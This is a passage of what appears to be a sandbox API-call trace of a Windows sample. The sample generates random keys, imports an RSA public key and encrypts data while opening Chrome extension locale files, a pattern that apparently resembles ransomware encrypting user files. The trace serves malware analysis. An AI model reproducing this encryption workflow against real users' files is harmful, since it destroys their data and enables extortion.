pbData=0x9b30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.677] GetLastError () returned 0x0 [0238.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.678] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.678] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.683] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.683] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.684] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.684] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.686] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.687] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.687] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.687] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.687] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.690] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2d38) returned 1 [0238.690] CryptGetKeyParam (in: hKey=0x66b2d38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.690] CryptEncrypt (in: hKey=0x66b2d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9b40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9b40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.690] GetLastError () returned 0x0 [0238.690] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.690] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.692] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2a38) returned 1 [0238.692] CryptGetKeyParam (in: hKey=0x66b2a38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.692] CryptEncrypt (in: hKey=0x66b2a38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9b50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9b50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.692] GetLastError () returned 0x0 [0238.692] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.692] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.693] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.696] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.698] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.698] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.698] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.698] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.702] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.702] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.702] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.702] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.704] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2af8) returned 1 [0238.704] CryptGetKeyParam (in: hKey=0x66b2af8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.704] CryptEncrypt (in: hKey=0x66b2af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9b60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9b60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.704] GetLastError () returned 0x0 [0238.704] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.704] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.706] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2b38) returned 1 [0238.706] CryptGetKeyParam (in: hKey=0x66b2b38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.706] CryptEncrypt (in: hKey=0x66b2b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9b70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9b70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.706] GetLastError () returned 0x0 [0238.706] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.706] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.707] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.710] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.712] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.712] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.712] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.712] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.718] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.718] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.718] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.718] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.721] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2fb8) returned 1 [0238.721] CryptGetKeyParam (in: hKey=0x66b2fb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.721] CryptEncrypt (in: hKey=0x66b2fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9b80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9b80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.721] GetLastError () returned 0x0 [0238.721] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.721] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.723] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2d78) returned 1 [0238.723] CryptGetKeyParam (in: hKey=0x66b2d78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.723] CryptEncrypt (in: hKey=0x66b2d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9b90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9b90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.723] GetLastError () returned 0x0 [0238.723] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.723] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.724] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.727] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.729] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.729] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.729] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.729] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.731] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.733] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.733] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.733] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.733] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.736] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2ff8) returned 1 [0238.736] CryptGetKeyParam (in: hKey=0x66b2ff8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.736] CryptEncrypt (in: hKey=0x66b2ff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9ba0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9ba0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.736] GetLastError () returned 0x0 [0238.736] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.736] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.738] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2878) returned 1 [0238.738] CryptGetKeyParam (in: hKey=0x66b2878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.738] CryptEncrypt (in: hKey=0x66b2878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9bb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9bb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.738] GetLastError () returned 0x0 [0238.738] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.738] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.739] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.742] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.745] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.745] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.745] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.750] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.750] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.750] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.751] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.753] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2b78) returned 1 [0238.753] CryptGetKeyParam (in: hKey=0x66b2b78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.753] CryptEncrypt (in: hKey=0x66b2b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9bc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9bc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.754] GetLastError () returned 0x0 [0238.754] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.754] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.755] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2a78) returned 1 [0238.755] CryptGetKeyParam (in: hKey=0x66b2a78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.755] CryptEncrypt (in: hKey=0x66b2a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9bd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9bd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.756] GetLastError () returned 0x0 [0238.756] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.756] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.757] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.760] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.762] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.762] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.762] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.762] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.764] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.766] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.766] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.766] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.768] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b28f8) returned 1 [0238.768] CryptGetKeyParam (in: hKey=0x66b28f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.768] CryptEncrypt (in: hKey=0x66b28f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9be0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9be0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.768] GetLastError () returned 0x0 [0238.768] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.768] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.770] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2db8) returned 1 [0238.770] CryptGetKeyParam (in: hKey=0x66b2db8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.770] CryptEncrypt (in: hKey=0x66b2db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9bf0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9bf0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.770] GetLastError () returned 0x0 [0238.770] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.770] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.771] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.774] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.777] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.777] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.777] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.777] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.779] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.781] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.781] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.781] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.781] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.783] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b28b8) returned 1 [0238.783] CryptGetKeyParam (in: hKey=0x66b28b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.783] CryptEncrypt (in: hKey=0x66b28b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9c00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9c00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.784] GetLastError () returned 0x0 [0238.784] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.784] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.785] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2df8) returned 1 [0238.785] CryptGetKeyParam (in: hKey=0x66b2df8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.785] CryptEncrypt (in: hKey=0x66b2df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9c10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9c10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.786] GetLastError () returned 0x0 [0238.786] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.786] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 